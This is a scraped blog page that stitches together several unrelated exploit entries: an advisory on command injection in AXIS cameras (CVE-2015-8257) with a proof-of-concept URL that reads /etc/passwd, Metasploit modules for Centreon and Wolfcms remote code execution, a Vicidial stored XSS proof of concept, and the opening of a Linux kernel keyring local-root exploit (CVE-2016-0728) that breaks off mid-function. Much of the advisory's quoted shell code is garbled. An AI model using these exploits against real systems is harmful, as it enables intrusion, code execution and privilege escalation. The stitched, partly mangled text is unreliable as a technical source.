_ _ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( 0 | R | W | 3 | L | L | L | 4 | 8 | 5 )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
www.orwelllabs.com
security advisory
olsa-2015-8257
PGP: 79A6CCC0
* Advisory Information
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
(+) Title: AXIS Multiple Products Authenticated Remote Command Execution via devtools vector
(+) Vendor: AXIS Communications
(+) Research and Advisory: Orwelllabs
(+) Advisory URL: http://www.orwelllabs.com/2016/01/axis-commucations-multiple-products.html
(+) Class: Improper Input Validation [CWE-20]
(+) CVE Name: CVE-2015-8257
(+) Remotely Exploitable: Yes
(+) Locally Exploitable: No
(+) OLSA-ID: OWLL2015-8257
(+) Affected Versions: Multiple Products/Firmwares (check the list bellow)
(+) IoT Attack Surface: Device Administrative Interface/Authentication/Authorization
(+) Owasp IoTTop10: I1, I2
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Vulnerability
+++++++++++++
AXIS Network Cameras (various models/firmwares) are prone to Authenticated remote
command execution vulnerability. Exploiting this vulnerability a remote attacker can
force the execution of certain unauthorized actions, which may lead to further attacks.
Technical Details
+++++++++++++++++
The devtools.sh script is the responsible for vulnerability and it's 4 attack vectors through the following pages:
http://xxx.xxx.xxx.xxx/app_license.shtml?app=
http://xxx.xxx.xxx.xxx/app_license_custom.shtml?app=
http://xxx.xxx.xxx.xxx/app_index.shtml?app=
http://xxx.xxx.xxx.xxx/app_params.shtml?app=
An attacker can use the app parameter that waits for the name of a
legitimate application to inject commands in the operating system using
"%3B", for example, to read the contents of /etc/passwd:
http: //
xxx.xxx.xxx.xxx/app_license.shtml?app=ORWELLLABS%3Bcat%20/etc/passwd
The data entered in parameter "app =" is passed without any treatment for
devtools.sh script located at: {HTMLROOL}/bin/devtools.sh
This script contains several functions, namely:
list()
status()
menulist()
mainpagelink()
SETTINGSLINK()
confvariable()
echo_ssivar_licensekey()
load_auto_inst_form()
When these functions are invoked, they interact with the parameters passed
by the web application through
the affected scripts (e.g. ap_license.shtml? App =). By injecting the code
below:
http: //
xxx.xxx.xxx.xxx/app_license.shtml?app=ORWELLLABS%3Bcat%20/etc/passwd
The value passed in "app" will be passed directly to the script invoking
devtools.sh via shell -c as shown in the listing process below (third line
invoking confvariable function):
[SNIP]
2039 led 25472 S /usr/bin/enldgts -n
12014 root 0 SW [kworker/0:0]
13178 root 2548 S /bin/sh -c /usr/html/bin/devtools.sh
confvariable ORW..
13183 root 2728 R ps -aux PACKAGENAME
13312 root 0 SW [kworker/3:1]
13320 root 0 SW [kworker/2:0]
[SNIP]
The value "ORWELLLABS%3Bcat%20/etc/passwd" is then passed on to the
corresponding function (after passing through a conference on "confvariable
()").
confvariable() {
local val=
if [ -r "$PACKAGE_DIRECTORY/$1/$ADPPACKCFG" ]; then
. "$PACKAGE_DIRECTORY/$1/$ADPPACKCFG" || :
eval val=\$$2
echo $val
fi
}
Then enter the function "menulist ()" which we see the main stretch located
between the lines 127 and 143:
[SNIP]
127 [ "$ name", "/app_params.shtml", "app = $ APPNAME &" hostA, <! - # If
expr = "\ $ activeMenu1 = $ APPNAME" -> true <! - # Else - -> false <! - #
endif ->, null,
128 [
129 [ "Settings", "/app_params.shtml", "app = $ APPNAME &" hostA, <! - # If
expr = "\ $ ActivePage = param_ $ APPNAME" -> true <! - # Else - -> false
<! - # endif ->, null, []],
130 EOF
131 if [-z "$ LICENSEPAGE"] || [ "$ LICENSEPAGE" axis =]; Then
132 cat << - EOF
133 [ "License", "/app_license.shtml", "app = $ APPNAME &" hostA, <! - # If
expr = "\ $ ActivePage = license_ $ APPNAME" -> true <! - # Else - -> false
<! - # endif ->, null, []],
134 EOF
135 fi
136 if [ "$ LICENSEPAGE" = custom] && [-r "$ HTMLROOT / local / $ APPNAME /
license.inc"]; Then
137 cat << - EOF
138 [ "License", "/app_license_custom.shtml", "app = $ APPNAME &" hostA, <!
- # If expr = "\ $ ActivePage custom_ = $ APP NAME" -> true <! - # Else ->
false <! - # endif ->, null, []],
139 EOF
140 fi
141 if [-r "$ HTMLROOT / local / $ APPNAME / about.inc"]; Then
142 cat << - EOF
143 [ "About", "/app_index.shtml", "app = $ APPNAME &" hostA, <! - # If
expr = "\ $ ActivePage = $ APPNAME" -> true <! - # Else - > false <! - #
endif ->, null, []],
Where the important lines are the menus below:
/bin/devtools.sh (127):
[ "$ Name", "/app_params.shtml", "app = $ APPNAME &" hostA, <! - # If expr
= "\ $ activeMenu1 = $ APPNAME" -> true -> false <! - #endif ->, null,
/bin/devtools.sh (129):
[ "Settings", "/app_params.shtml", "app = $ APPNAME &" hostA, <! - # If
expr = "\ $ ActivePage = param_ -> true <! - # Else -> false < ! - # endif
->, null, []],
/bin/devtools.sh (133):
[ "License", "/app_license.shtml", "app = $ APPNAME &" hostA, <! - # If
expr = "\ $ ActivePage = License" -> true <! - # Else -> false <! - # endif
->, null, []],
/bin/devtools.sh (138):
[ "License", "/app_license_custom.shtml", "app = $ APPNAME &" hostA, <! - #
If expr = "\ $ ActivePage = APPNAME" -> true <! - # Else -> false <! - #
endif ->, null, []],
/bin/devtools.sh (143):
[ "About", "/app_index.shtml", "app = $ APPNAME &" hostA, <! - # If expr =
"\ $ ActivePage = $ APPNAME" - # else -> false <! - # endif ->, null, []],
In PoC presented above, the payload will be triggered in line vector 133 of
devtools script ( "License" menu) that will:
[ "License", "/app_license.shtml", "app = ORWELLLABS% 3Bcat% 20
/etc/passwd& "HostA, <! - # If expr =" \ $ ActivePage = License "-> true <!
- # Else -> false <! - # Endif ->, null, []],
And when executed echoes the results on the page.
Impact
++++++
The impact of this vulnerability is that taking into account the busybox
that runs behind (and with root privileges everywhere. in all the binaries
and scripts) is possible to execute arbitrary commands, create backdoors,
performing a reverse connection to the machine attacker, use this devices
as botnets and DDoS amplification methods... the limit is the creativity of
the attacker.
Affected Products
+++++++++++++++++
Multiple Axis Communications Products/Firmware including:
* AXIS Q6032-E/Q6034-E/Q6035-E PTZ Dome Network Camera -
Firmware 5.41.1.4
* AXIS Q6042-E/Q6044-E/Q6045-E PTZ Dome Network Camera -
Firmware 5.70.1.2
* AXIS A8004-VE Network Video Door Station -
Firmware 5.85.1.1
* AXIS P3384 fixed dome Network camera -
Firmware 6.10.1
* AXIS P5532-E PTZ Dome Network Camera -
Firmware 5.41.3.1
* AXIS Q60-E Network Dome PTZ -
Firmware 5.65.1.1, 5.41.*, 5.70.1.1
* AXIS Q7401 Video Encoder -
Firmware 5.50.4
* AXIS Q7404 Video Encoder -
Firmware 5.50.4.*
* AXIS Q7406 Blade Video Encoder -
Firmware 5.51.2
* AXIS Q7411 Video Encoder -
Firmware 5.90.1
* AXIS Q7414 Blade Video Encoder -
Firmware 5.51.2
* AXIS Q7424-R Video Encoder -
Firmware 5.50.4
* AXIS Q7424-R Mk II Video Encoder -
Firmware 5.51.3
* AXIS Q7436 Blade Video Encoder -
Firmware 5.90.1
The list bellow shows the firmwares affected (and probably these firmwares
are not available anymore, but just the last version of them, if you not
sure, check the hash). All these firmwares (in the second column) has the
same "devtools.sh" shellscript (responsible for trigger the RCE
vulnerability) embedded. The script can be found on directory:
"{HTMLROOT}/bin/devtools.sh".
========================================================================
PRODUCT FIRMWARE FIRMWARE HASH
========================================================================
AXIS A8004-VE 5.85.1.1 e666578d7fca54a7db0917839187cd1a
AXIS A8004-VE 5.85.1 50f114d1169f6fe8dbdadd89ad2e087d
AXIS F34 5.85.3 7a6ed55038edd8a2fc0f676fb8a04b10
AXIS F41 5.85.3 8a089a51a0ecd63543c7883c76db7921
AXIS F44 5.85.3 9e3b05625cfe6580ca3e41c5415090e7
AXIS M1013 5.50.5.4 231cdd7ba84a383ba7f2237612b1cc12
AXIS M1014 5.50.5.4 231cdd7ba84a383ba7f2237612b1cc12
AXIS M1025 5.50.5.4 90d59c56171402828fceb7d25b18be2e
AXIS M1033-W 5.50.5.4 7b96dd594f84fc8c3a4a3ab650434841
AXIS M1034-W 5.50.5.4 7b96dd594f84fc8c3a4a3ab650434841
AXIS M1054 5.50.3.4 39e279aa2c462e9ec01c7b90f698f76a
AXIS M1103 5.50.3 c10243b05fe30655ded7a12b998dbf5e
AXIS M1104 5.50.3 c10243b05fe30655ded7a12b998dbf5e
AXIS M1113 5.50.3 c10243b05fe30655ded7a12b998dbf5e
AXIS M1114 5.50.3 c10243b05fe30655ded7a12b998dbf5e
AXIS M1124 5.75.3.3 f53e0ada9f2e54d2717bf8ad1c7a5928
AXIS M1125 5.75.3.3 f53e0ada9f2e54d2717bf8ad1c7a5928
AXIS M1143-L 5.60.1.5 367aab0673fc1dec0b972fd80a62e75b
AXIS M1144-L 5.60.1.5 367aab0673fc1dec0b972fd80a62e75b
AXIS M1145 5.90.1 ece8f4ccd9d24a01d382798cb7e4a7c7
AXIS M1145-L 5.90.1 ece8f4ccd9d24a01d382798cb7e4a7c7
AXIS M2014 5.50.6 3ffe1a771565b61567f917621c737866
AXIS M3004 5.50.5.4 d65545ef6c03b33b20bf1a04e8216a65
AXIS M3005 5.50.5.4 b461fb6e6aab990d3650b48708cee811
AXIS M3006 5.70.1.2 b2864dcf48ac83053ba4516a2bda535e
AXIS M3007 5.75.1.1 a0cc2e9a6ddad758b16f7de518080f70
AXIS M3014 5.40.9.5 01d8917c9e60dde7741c4a317044b2f7
AXIS M3024-LVE 5.50.5.4 0b91bb66d37e208e130c7eb25099817b
AXIS M3025-VE 5.50.5.4 751f776668d340edf4149dc116ce26c6
AXIS M3026 5.70.1.2 3e78ce4badf994f6d10c5916b6d5513d
AXIS M3027 5.75.1.1 6d377ea9ea99068e910b416ccc73d8ca
AXIS M3037 5.75.1.1 ef69c662079018e19e988663ad1fc509
AXIS M3113-R 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d
AXIS M3113-VE 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d
AXIS M3114-R 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d
AXIS M3114-VE 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d
AXIS M3203 5.50.3.1 7da467702db8b0e57ea5d237bd10ab61
AXIS M3204 5.50.3.1 7da467702db8b0e57ea5d237bd10ab61
AXIS M5013 5.50.3.1 9183b9ac91c3c03522f37fce1e6c2205
AXIS M5014 5.50.3.1 9183b9ac91c3c03522f37fce1e6c2205
AXIS M7010 5.50.4.1 84f618087151b0cc46398a6e0c6ebc0d
AXIS M7011 5.90.1 362658a55d4f2043ed435c72588bd7e7
AXIS M7014 5.50.4.1 84f618087151b0cc46398a6e0c6ebc0d
AXIS M7016 5.51.2.3 b3de957bbca166f145969a6884050979
AXIS P1204 5.50.6 3ffe1a771565b61567f917621c737866
AXIS P1214 5.50.6 3ffe1a771565b61567f917621c737866
AXIS P1224 5.50.6 3ffe1a771565b61567f917621c737866
AXIS P1343 5.40.9.8 9bbd08a92881b1b07e9f497a436b6a60
AXIS P1344 5.40.9.8 9bbd08a92881b1b07e9f497a436b6a60
AXIS P1346 5.40.9.6 c89ee1e7c54b4728612277e18be1c939
AXIS P1347 5.40.9.6 f0f95768e367c3a2a8999a0bd8902969
AXIS P1353 5.60.1.5 0f59d0e34301519908754af850fdfebb
AXIS P1354 5.90.1 120c230067b7e000fa31af674f207f03
AXIS P1355 5.60.1.5 5dbec1d7b8b6f337581da6ec668a9aad
AXIS P1357 5.90.1 d83472c4d545763e5b05cd6d0c63430f
AXIS P1364 5.85.4 2db00322be0b8c939c89fe4f3e0fd67d
AXIS P1365 5.75.3.2 1eba3426b2046e696d80ea253fe5e9b6
AXIS P1405 5.80.1.1 4db97061feb3cf91eb0cded516f9c5af
AXIS P1425 5.80.1.1 e9213ed81dc68f07c854a990889995ba
AXIS P1427 5.80.1.1 dfe4cd28b929e78d42e8fc8c98616a7c
AXIS P1428-E 5.80.1.1 7a65a0b0e4050824de0d46a1725ad0ea
AXIS P1435 5.85.4.1 219467e77dcb3195d7203a79ecd30474
AXIS P3214 6.10.1 00fca61c0a97dfc5e670a308cbda14d4
AXIS P3215 6.10.1 00fca61c0a97dfc5e670a308cbda14d4
AXIS P3224 6.10.1.1 5fae8852b7790cf6f66bb2356c60acd6
AXIS P3225 6.10.1.1 5fae8852b7790cf6f66bb2356c60acd6
AXIS P3301 5.40.9.4 27b7a421f7e3511f3a4b960c80b42c56
AXIS P3304 5.40.9.4 df9e2159c4eadf5e955863c7c5691b1a
AXIS P3343 5.40.9.8 dd752099f8b2c48b91914ec32484f532
AXIS P3344 5.40.9.8 dd752099f8b2c48b91914ec32484f532
AXIS P3346 5.50.3.1 d30498356187ba44f94f31398b04a476
AXIS P3353 5.60.1.4 fa4924480563924a0365268f8eef8864
AXIS P3354 6.10.1 d2f317d88dea1f001ce8151106e0322b
AXIS P3363 5.60.1.5 4b3175a30893a270e5dca8fc405b5d7e
AXIS P3364 6.10.1 6128c6ba026a68a5759b08971504807e
AXIS P3365 6.10.1 f26b0616c595622abb17ce4411dee2b2
AXIS P3367 6.10.1 8dad67aae2ffaee6fb147d6942476f00
AXIS P3384 6.10.1 138ff1bdc97d025f8f31a55e408e2a1d
AXIS P3904-R 5.80.1 0b420fa6e8b768cafd6fa6b5920883be
AXIS P3905-R 5.80.1 0b420fa6e8b768cafd6fa6b5920883be
AXIS P3915-R 5.80.1 1dcf4a39c7e7349629ade723f563e892
AXIS P5414-E 5.90.1 f5782c5dbe8dcffd7863b248a55682ee
AXIS P5415-E 5.90.1 f5782c5dbe8dcffd7863b248a55682ee
AXIS P5512 95.50.4.2 a2d5aab90d51af80d924bb3cc8b249fc
AXIS P5512-E 5.50.4.2 4fd5d721e27fe0f4db7d652bd1730749
AXIS P5514-E 5.85.3 b1fc3d26f6293b94f042ac6ea3aa8271
AXIS P5515 5.85.3 99b2512b57ed8a12c6ad2e53adc8acf8
AXIS P5515-E 5.85.3 639388e504a0841cad2eee7374476727
AXIS P5522 5.50.4.3 8335552031bc297ce87666542f0e3106
AXIS P5522-E 5.50.4.2 218e1b6997f0e5338f86f0ed1b12f8a0
AXIS P5532 5.41.3.1 b1ab3dd8ed126dd68b4793dec9bf3698
AXIS P5532-E 5.41.3.1 f6322413687d169dce61459d8338a611
AXIS P5534 5.40.9.5 3b94922050bec9bc436dce3fcd9bcfaf
AXIS P5534-E 5.40.9.6 a931bc58ee0e882b359dbecd3d699c52
AXIS P5544 5.41.2.2 cb5bcec36f839914db93eaf17ae83e5e
AXIS P5624-E 5.75.1.1 b93952a6083aa628026f145a1dffa313
AXIS P5635-E 5.75.1.1 24d32e4fab54f16b5698ff4e477fc188
AXIS P7210 5.50.4.1 b0e19f8837754ac73aa146b5710a12b1
AXIS P7214 5.50.4.1 b0e19f8837754ac73aa146b5710a12b1
AXIS P7216 5.51.2.1 a77e96832f7d87970bf286288ce2ca81
AXIS P7224 5.51.2.1 5d5ecf065f456e66eb42d9360d22f863
AXIS P8514 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d
AXIS Q1615 5.80.1.3 8d95c0f9f499f29fcfb95419b629ab44
AXIS Q1635 5.80.1.3 8d95c0f9f499f29fcfb95419b629ab44
AXIS Q1635-E 5.80.1.3 8d95c0f9f499f29fcfb95419b629ab44
AXIS Q1755 5.50.4.1 6ca8597f48ed122ce84c2172c079cdf9
AXIS Q1765-LE 5.90.1.1 7930bf5c4c947f2f948f8b7475f01409
AXIS Q1765-LE-PT 5.90.1.1 890ba75a8108d97f2ef1a4aecedf76b1
AXIS Q1775 5.85.3 f47bc9d46a913561e42b999cc6697a83
AXIS Q1910 5.50.4.1 71525d4d56d781318b64e8200806dcf0
AXIS Q1921 5.50.4.1 82f956fec96a9068941e24e12045cefd
AXIS Q1922 5.50.4.1 111a1a4f823e7281af1c872ba52f73c4
AXIS Q1931-E 5.75.1.3 5cf13a2c3d65644c3376ec6466dd9b49
AXIS Q1931-E-PT-Mount5.75.1.1 3ba7e187dc25e98ab73aef262b68e1b9
AXIS Q1932-E 5.75.1.2 b8efe54fc3eca7f2a59322779e63e8e1
AXIS Q1932-E PT.Mount5.75.1 513fc031f85542548eeccfeaa7c1a29e
AXIS Q2901-E 5.55.4.1 d2945717297edab3326179541cfa0688
AXIS Q2901-E PT.Mount5.55.4.1 a41aed45359f11d2ec248419c124a52d
AXIS Q3505 5.80.1.4 9394b3577bdb17cb9f74e56433a0e660
AXIS Q3709-PVE 5.75.1.1 e9fb87337c0a24139a40459336f0bcb3
AXIS Q6000-E 5.65.1.1 b97df19057db1134a43c26f5ddf484de
AXIS Q6032 5.41.1.2 8caad5cd7beeebaf5b05b011b8a1e104
AXIS Q6032-C 5.41.3 58213a4b1c7a980dcb3b54bbee657506
AXIS Q6032-E 5.41.1.4 b4aa977b254694b5d14d7e87e5652a6b
AXIS Q6034 5.41.1.1 4f44a8661534bac08a50651ee90a7d47
AXIS Q6034-C 5.41.3 25d455dc2e2d11639f29b0b381ddd7cb
AXIS Q6034-E 5.41.1.2 3bfab61354170e42ce27fc2477d57026
AXIS Q6035 5.41.1.2 9d124d096bf48fbfd2e11c34de3c880d
AXIS Q6035-C 5.41.3 42d23ae4d0b1456cc54e54734a586d53
AXIS Q6035-E 5.41.1.5 e2123a9e37fda4044847c810b7f25253
AXIS Q6042 5.70.1.1 4f253ed4bb0efaa4a845e0e9bd666766
AXIS Q6042-C 5.70.1.1 21bd154f706091b348c33dd9564438da
AXIS Q6042-E 5.70.1.2 9d5dc03268638498d0299bf466fa0501
AXIS Q6042-S 5.70.1.1 085fc5903d99899d78b48abb9cafdecd
AXIS Q6044 5.70.1.1 29e4cdb9ba2f18953512c5d1e17229c1
AXIS Q6044-C 5.70.1.1 dc3fc472b88e07278e6ff82eaee71a8d
AXIS Q6044-E 5.70.1.2 83d1e6c1fe5aa9c26710eed03721f928
AXIS Q6044-S 5.70.1.1 654ffd048fdb41ae3c86da4f41e2a31d
AXIS Q6045 5.70.1.1 2db9b247729e9487f476a35a6dd456ce
AXIS Q6045-C 5.70.1.1 9bb561126e2b4f69ac526cfccdf254f6
AXIS Q6045-C-MkII 5.70.1.1 2c9efccb0fba0e63fc4fff73e6ba0fea
AXIS Q6045-E 5.70.1.2 321a5d906863787fdc5e34483e6ec2a8
AXIS Q6045-E-MkII 5.70.1.2 d9d4242a83b1ed225dd3c20530da034d
AXIS Q6045-MkII 5.70.1.1 686f0fe8727e2a726091c9ddf3827741
AXIS Q6045-S 5.70.1.1 43473e42f360efb4ea6f84da35fd9746
AXIS Q6045-S-Mk-II 5.70.1.1 d747a5a3d69264af8448f72822e8d60b
AXIS Q6114-E 5.65.2.1 8cb9a3a88c79ebb2cf5def3cda0da148
AXIS Q6115-E 5.65.2.1 7d2dd3410ce505cd04a1c182917523a5
AXIS Q6128-E 5.85.2.1 49508ff56508f809a75d367896e8d56f
AXIS Q7401 5.50.4 99855c6c9777fdd5fc5e58349ae861a5
AXIS Q7404 5.50.4.2 ffdbee7c9daad303e89a432ba9c4711d
AXIS Q7404 5.50.4 6e31e9709cf9717968c244267aa8c6d0
AXIS Q7406 5.51.2 3cdb7935278157b9c91c334613012b1e
AXIS Q7411 5.90.1 26893adedcfc1953829084e8e7c3fbdd
AXIS Q7414 5.51.2 8ff659a8db077b545205f56dfef217d4
AXIS Q7424-R 5.50.4 d570ef1886c84ab53934fc51385e8aa7
AXIS Q7424-R-MkII 5.51.3 964a13f6b1aef17562cbbde11d936dee
AXIS Q7436 5.90.1 8fe1ef95b231bf6f771c3edc0fbc8afd
AXIS Q8414-LVS 6.10.1 9529cd9cf3b3bd66bec22c0b1c7448cd
AXIS Q8631-E 5.75.1 c7f882afc268ca3d60d07d5770db6a51
AXIS Q8632-E 5.75.1 f01d9a86d21335fe3d78e634858b9e77
AXIS Q8665-LE 5.90.1.1 1549b56d34250a93bbcf7b24b4f63699
AXIS V5915 5.75.1.1 a1c39a9cd545091825001a831d0c1ea4
Vendor Information, Solutions and Workarounds
+++++++++++++++++++++++++++++++++++++++++++++
According to the Vendor, tickets was opened to correct this issue.
Credits
+++++++
These vulnerabilities has been discovered and published by Orwelllabs.
Timeline
++++++++
2015-09-10: First attempt to contact Vendor
2015-10-30: Vulnerability was reported to CERT
2015-11-30: CVE-IDs are assigned
2016-07-25: Since the first vulnerability was published (09.04.2016 -
EDB-ID: 39683)
a long conversation revolved around these vulnerabilities with the
manufacturer.
We maintained communication since 15/04/2016 until now.
As there is still disagreement regarding vulnerabilities (and botnets in
the wild: https://goo.gl/k79I8u),
we thought it good to publish this advisory, since it has already exhausted
all deadlines.
Legal Notices
+++++++++++++
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise. We accept no
responsibility for any damage caused by the use or misuse of this
information.
About Orwelllabs
++++++++++++++++
# Loadind k4fK43sQu3 m0dule...
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863106144
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
Rank = ExcellentRanking
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Centreon Web Useralias Command Execution',
'Description' => %q(
Centreon Web Interface <= 2.5.3 utilizes an ECHO for logging SQL
errors. This functionality can be abused for arbitrary code
execution, and can be triggered via the login screen prior to
authentication.
),
'Author' =>
[
'h00die <mike@shorebreaksecurity.com>', # module
'Nicolas CHATELAIN <n.chatelain@sysdream.com>' # discovery
],
'References' =>
[
[ 'EDB', '39501' ]
],
'License' => MSF_LICENSE,
'Platform' => ['python'],
'Privileged' => false,
'Arch' => ARCH_PYTHON,
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 26 2016'
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The URI of the Centreon Application', '/centreon/'])
], self.class
)
end
def check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET'
)
/LoginInvitVersion"><br \/>[\s]+(?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+<\/td>/ =~ res.body
if version && Gem::Version.new(version) <= Gem::Version.new('2.5.3')
vprint_good("Version Detected: #{version}")
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
def exploit
begin
vprint_status('Sending malicious login')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'vars_post' =>
{
'useralias' => "$(echo #{Rex::Text.encode_base64(payload.encoded)} |base64 -d | python)\\",
'password' => Rex::Text.rand_text_alpha(5)
}
)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end
# Exploit Title: Vicidial 2.11 Scripts - Authenticated Stored XSS
# Date: 0 day
# Exploit Author: David Silveiro
# Exploit Author Github: github.com/davidsilveiro
# Vendor Homepage: http://vicidial.org
# Software Link: https://sourceforge.net/projects/astguiclient/files/astguiclient_2.11rc1.zip/download
Vicidial is a popular opensource software, used throughout many different sectors,
such as; call centers for inbound & outband calling.
The vulnerablility is triggered when an authenticated with user sufficient permissions,
creates a script (small text document that the agents use for remembering lines)without
sufficient sanitization happening within "Script Name" and "Script Text". Due to the nature
of how widely this script can be set, for example a whole Tele-marketing campaign or specific
agent, it could very easily be used to infect other hosts on the Network.
POC:
http://localhost.com/vicidial_demo/admin.php?ADD=1111111
POST Data (script_name & script_text);
ADD=2111111&DB=&script_id=tests&script_name=<script>alert('XSS!'</script>&script_comments=test&
active=Y&user_group=---ALL---&selectedField=fullname&script_text=<script>alert('XSS 2!'</script>&SUBMIT=SUBMIT
Click 'Preview Script'
<html>
<head></head>
<body bgcolor="white" marginwidth="0" marginheight="0" topmargin="0" leftmargin="0">
<font size="2" color="BLACK" face="ARIAL,HELVETICA">
<font size="2" color="BLACK" face="ARIAL,HELVETICA">
Preview Script: 1017
<br></br>
<table width="600">
<tbody>
<tr>
<td>
<center>
<script>
alert('XSS!')
</script>
<br></br>
</center>
<script>
alert('XSS 2!')
</script>
</td>
</tr>
</tbody>
</table>
</font>
</font>
</body>
</html>
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize
super(
'Name' => 'Wolfcms 0.8.2 Arbitrary PHP File Upload Vulnerability',
'Description' => %q{
This module exploits a file upload vulnerability in Wolfcms
version 0.8.2. This application has an upload feature that
allows an authenticated user with administrator roles to upload
arbitrary files to the '/public' directory.
},
'Author' => [
'Narendra Bhati', # Proof of concept
'Rahmat Nurfauzi' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-6568'],
['CVE', '2015-6567'],
['OSVDB','126852'],
['EDB', '38000'],
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Wolfcms <= 0.8.2', {}]
],
'DisclosureDate' => 'Aug 28 2015',
'Privileged' => false,
'DefaultTarget' => 0
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to wolfcms', '/wolfcms']),
OptString.new('USER', [true, 'User to login with', '']),
OptString.new('PASS', [true, 'Password to login with', '']),
], self.class)
end
def login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, "/?/admin/login/login/"),
'vars_post' => {
"login[username]" => datastore['USER'],
"login[password]" => datastore['PASS'],
"login[redirect]" => "/wolfcms/?/admin"
}
})
return res
end
def exploit
upload_name = rand_text_alpha(5 + rand(5)) + '.php'
get_cookie = login.get_cookies
cookie = get_cookie.split(";")[3]
token = send_request_cgi({
'method' => 'GET',
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "/?/admin/plugin/file_manager/browse/")
})
html = token.body
if html =~ /Files/
print_status("Login successfuly")
end
csrf_token = html.scan(/<input\s*id=\"csrf_token\"\s*name=\"csrf_token\"\s*type=\"hidden\"\s*value=\"(.*)"/).last.first
boundary = Rex::Text.rand_text_hex(28)
data = "-----------------------------#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"csrf_token\"\r\n"
data << "\r\n"
data << csrf_token
data << "\r\n"
data << "-----------------------------#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"upload[path]\"\r\n\r\n"
data << "/"
data << "\r\n"
data << "-----------------------------#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"upload_file\"; filename=\"#{upload_name}\"\r\n"
data << "Content-Type: text/x-php\r\n"
data << "\r\n"
data << payload.encoded
data << "\r\n"
data << "-----------------------------#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"commit\"\r\n"
data << "\r\n"
data << "Upload\r\n"
data << "-----------------------------#{boundary}--\r\n\r\n"
print_good("#{peer} - Payload uploaded as #{upload_name}")
res = send_request_cgi({
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------' + boundary,
'Cookie' => cookie,
},
'uri' => normalize_uri(target_uri, "/?/admin/plugin/file_manager/upload/")
})
register_file_for_cleanup(upload_name)
print_status("#{peer} - Executing shell...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "public",upload_name),
})
end
end
/*
# Exploit Title: Linux kernel REFCOUNT overflow/Use-After-Free in keyrings
# Date: 19/1/2016
# Exploit Author: Perception Point Team
# CVE : CVE-2016-0728
*/
/* CVE-2016-0728 local root exploit
modified by Federico Bento to read kernel symbols from /proc/kallsyms
props to grsecurity/PaX for preventing this in so many ways
$ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
$ ./cve_2016_072 PP_KEY */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff810bb050)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff810bb370)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
/* thanks spender - Federico Bento */
static unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[256];
int ret;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
fprintf(stdout, "Unable to obtain symbol listing!\n");
exit(0);
}
ret = 0;
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, "[+] Resolved %s to %p\n", name, (void *)addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
